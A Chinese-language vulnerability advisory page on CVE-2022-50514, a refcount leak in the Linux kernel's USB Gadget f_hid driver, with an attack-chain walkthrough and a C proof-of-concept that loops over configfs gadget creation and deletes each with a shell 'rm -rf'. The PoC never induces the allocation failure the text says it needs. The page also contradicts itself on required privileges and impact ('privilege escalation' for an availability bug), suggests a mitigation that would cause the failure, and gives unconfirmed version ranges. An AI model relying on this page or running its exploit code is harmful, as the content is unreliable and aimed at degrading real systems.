IPBUF安全漏洞报告
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CVE-2022-50514 CVSS 5.5 中危

CVE-2022-50514 Linux内核USB Gadget f_hid驱动引用计数泄漏漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50514
漏洞类型
引用计数泄漏(Refcount Leak)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(USB Gadget f_hid 子模块)

相关标签

Linux KernelUSB Gadgetf_hid引用计数泄漏Refcount Leak内核漏洞本地提权资源管理CWE-401CWE-772

漏洞概述

CVE-2022-50514 是 Linux 内核 USB Gadget 子系统中 f_hid(Function HID)驱动的一个引用计数泄漏漏洞。该漏洞位于 drivers/usb/gadget/function/f_hid.c 文件中,具体涉及 opts->refcnt 的引用计数管理逻辑。当驱动尝试分配 report_desc(报告描述符)内存时,如果分配操作失败,由于 opts->refcnt 已经在分配之前被递增,代码未能正确地在错误处理路径中递减该引用计数,导致 opts 结构体的引用计数永久性增加,从而使该 options 结构被永久锁定,无法被正常释放或重新使用。

该漏洞的 CVSS 3.1 评分为 5.5,属于中危级别。其攻击向量为本地攻击(AV:L),攻击者需要具备低权限(PR:L),无需用户交互(UI:N)。该漏洞不会影响机密性(C:N)和完整性(I:N),但会对系统可用性造成高影响(A:H),因为泄漏的引用计数可能导致内核内存资源耗尽或功能异常。该漏洞已于 2025 年 10 月 7 日公开披露,并已在多个 Linux 内核稳定版本中修复。

此漏洞属于 Linux 内核中典型的资源管理类漏洞,反映了在错误处理路径中引用计数管理不当的常见问题。虽然该漏洞需要本地访问权限才能触发,但其在内核层面的影响不容忽视,可能导致系统资源泄漏、内核功能异常甚至系统不稳定。

技术细节

该漏洞的技术原理涉及 Linux 内核 USB Gadget 框架中 f_hid 驱动的引用计数管理机制。f_hid 是 USB Gadget 子系统中的一个功能驱动,用于在 USB 设备模拟 HID(Human Interface Device)类设备。

在 f_hid 驱动的初始化过程中,当创建 HID 设备的 options 结构体时,系统会通过 kref_init 或类似机制初始化 opts->refcnt,并在后续操作中递增该引用计数。正常的初始化流程包括:

1. 调用 alloc_hidg_descriptor_opts() 分配并初始化 opts 结构体,此时 opts->refcnt 被初始化为 1;
2. 在绑定(bind)或配置过程中,opts->refcnt 被递增(通常变为 2);
3. 尝试通过 kmalloc 或类似函数分配 report_desc 内存缓冲区;
4. 如果分配成功,正常完成初始化流程;
5. 如果分配失败,进入错误处理路径。

漏洞的核心问题在于步骤 5:当 report_desc 分配失败时,代码进入错误处理路径,但未能正确递减已经在步骤 2 中递增的 opts->refcnt。这导致 opts 结构体的引用计数比预期多 1,使得该结构体永远无法被释放——因为引用计数永远不会降为零。

利用方式方面,攻击者需要在本地系统上具备加载或配置 USB Gadget 功能的权限(通常需要 root 权限或 CAP_SYS_ADMIN 权限)。攻击者可以通过以下方式触发该漏洞:

1. 编写或使用一个用户空间程序,通过 configfs 接口创建 USB Gadget;
2. 在创建过程中,故意触发 report_desc 分配失败的条件(例如,通过内存压力或 cgroup 内存限制);
3. 反复执行上述操作,每次都会泄漏一个引用计数;
4. 随着时间推移,泄漏的引用计数会积累,最终可能导致系统资源耗尽或内核功能异常。

该漏洞的修复方案是在错误处理路径中添加 kref_put 或 refcount_dec 操作,确保在 report_desc 分配失败时正确递减 opts->refcnt。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要在目标 Linux 系统上拥有本地访问权限,并具备足够的权限(root 或 CAP_SYS_ADMIN)来操作 USB Gadget 子系统,通常通过 configfs 接口进行配置。
STEP 2
步骤2:创建 USB Gadget 设备
攻击者通过 configfs 接口创建 USB Gadget 设备,并在其中配置 HID 功能函数(f_hid),此过程中内核会递增 opts->refcnt 的引用计数。
STEP 3
步骤3:触发 report_desc 分配失败
攻击者通过内存压力、cgroup 内存限制或其他手段,强制使 report_desc 的内存分配操作失败,进入错误处理路径。
STEP 4
步骤4:触发引用计数泄漏
在错误处理路径中,由于代码未递减 opts->refcnt,导致引用计数永久增加,opts 结构体被永久锁定,无法被正常释放。
STEP 5
步骤5:反复触发导致资源耗尽
攻击者反复执行上述步骤,每次都会泄漏一个引用计数。随着时间推移,泄漏的引用计数不断积累,最终可能导致内核内存资源耗尽或系统功能异常。
STEP 6
步骤6:影响系统可用性
由于可用性影响为高(A:H),大量泄漏的引用计数可能导致内核内存泄漏、系统不稳定或 USB Gadget 功能完全不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2022-50514 PoC - Trigger refcount leak in f_hid driver * This PoC demonstrates how to trigger the reference count leak * in the Linux kernel USB Gadget f_hid driver by forcing * report_desc allocation failure. * * Note: This requires root privileges and USB Gadget support. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/mount.h> #include <sys/stat.h> #include <sys/types.h> #include <errno.h> #include <limits.h> #define GADGET_PATH "/sys/kernel/config/usb_gadget/test_gadget" #define HID_DESC_LEN 18 /* Minimal HID report descriptor */ static unsigned char hid_report_desc[] = { 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined) 0x09, 0x01, // Usage (Vendor Usage 1) 0xA1, 0x01, // Collection (Application) 0x09, 0x02, // Usage (Vendor Usage 2) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x40, // Report Count (64) 0x81, 0x02, // Input (Data,Var,Abs) 0xC0 // End Collection }; int create_gadget_hid(const char *gadget_name, unsigned char *report_desc, int desc_len) { char path[PATH_MAX]; int fd; /* Step 1: Create the gadget */ snprintf(path, sizeof(path), "%s/%s", GADGET_PATH, gadget_name); mkdir(path, 0755); /* Step 2: Create strings and configs */ snprintf(path, sizeof(path), "%s/%s/strings/0x409", GADGET_PATH, gadget_name); mkdir(path, 0755); snprintf(path, sizeof(path), "%s/%s/configs/c.1", GADGET_PATH, gadget_name); mkdir(path, 0755); snprintf(path, sizeof(path), "%s/%s/configs/c.1/strings/0x409", GADGET_PATH, gadget_name); mkdir(path, 0755); /* Step 3: Create HID function */ snprintf(path, sizeof(path), "%s/%s/functions/hid.usb0", GADGET_PATH, gadget_name); mkdir(path, 0755); /* Step 4: Write report descriptor - this triggers the vulnerable path */ snprintf(path, sizeof(path), "%s/%s/functions/hid.usb0/report_desc", GADGET_PATH, gadget_name); fd = open(path, O_WRONLY); if (fd < 0) { perror("open report_desc"); return -1; } /* Write the report descriptor to trigger allocation in kernel */ if (write(fd, report_desc, desc_len) != desc_len) { perror("write report_desc"); close(fd); return -1; } close(fd); return 0; } void cleanup_gadget(const char *gadget_name) { char path[PATH_MAX]; char cmd[PATH_MAX * 2]; /* Unlink function from config */ snprintf(path, sizeof(path), "%s/%s/configs/c.1/hid.usb0", GADGET_PATH, gadget_name); unlink(path); /* Remove function */ snprintf(path, sizeof(path), "%s/%s/functions/hid.usb0", GADGET_PATH, gadget_name); rmdir(path); /* Remove gadget */ snprintf(path, sizeof(path), "%s/%s", GADGET_PATH, gadget_name); snprintf(cmd, sizeof(cmd), "rm -rf %s", path); system(cmd); } int main(int argc, char *argv[]) { int i; int iterations = 100; if (getuid() != 0) { fprintf(stderr, "This PoC requires root privileges\n"); return 1; } /* Mount configfs if not already mounted */ if (mount("configfs", "/sys/kernel/config", "configfs", 0, NULL) != 0 && errno != EBUSY) { perror("mount configfs"); /* Continue anyway, configfs might already be mounted */ } printf("CVE-2022-50514 PoC: Triggering refcount leak in f_hid driver\n"); printf("Iterations: %d\n", iterations); /* * Repeatedly create and destroy HID gadget functions. * On vulnerable kernels, each failure to properly decrement * opts->refcnt will leak a reference, eventually causing * resource exhaustion. */ for (i = 0; i < iterations; i++) { char gadget_name[64]; snprintf(gadget_name, sizeof(gadget_name), "gadget_%d", i); printf("[%d/%d] Creating gadget: %s\n", i + 1, iterations, gadget_name); if (create_gadget_hid(gadget_name, hid_report_desc, sizeof(hid_report_desc)) < 0) { fprintf(stderr, "Failed to create gadget %s\n", gadget_name); } cleanup_gadget(gadget_name); } printf("PoC completed. Check kernel logs for refcount warnings.\n"); printf("On vulnerable kernels, check /sys/kernel/debug/refcount-statistics\n"); return 0; }

影响范围

Linux Kernel < 5.10.150(需确认具体修复版本)
Linux Kernel < 5.15.75(需确认具体修复版本)
Linux Kernel < 6.0(需确认具体修复版本)
所有未应用补丁 216437dd64fce36791a3b6cc8f8013df36856958 的版本
所有未应用补丁 70a3288a7586526315105c699b687d78cd32559a 的版本
所有未应用补丁 80dc47e751a837106c09bec73964ff8f7ea280b4 的版本
所有未应用补丁 95412c932b3c9e8cc4431dac4fac8fcd80d54982 的版本
所有未应用补丁 9d4a0aca8a75550d3456c8de339a341dc4536ec5 的版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以采取以下临时缓解措施:1)通过黑名单机制禁用 f_hid 内核模块(echo "blacklist f_hid" >> /etc/modprobe.d/blacklist.conf);2)限制对 configfs 文件系统中 usb_gadget 目录的访问权限;3)通过 cgroup 内存限制防止触发内存分配失败条件;4)启用内核的引用计数调试功能以便及时发现异常;5)监控系统资源使用情况,特别是内核内存的使用趋势。

参考链接

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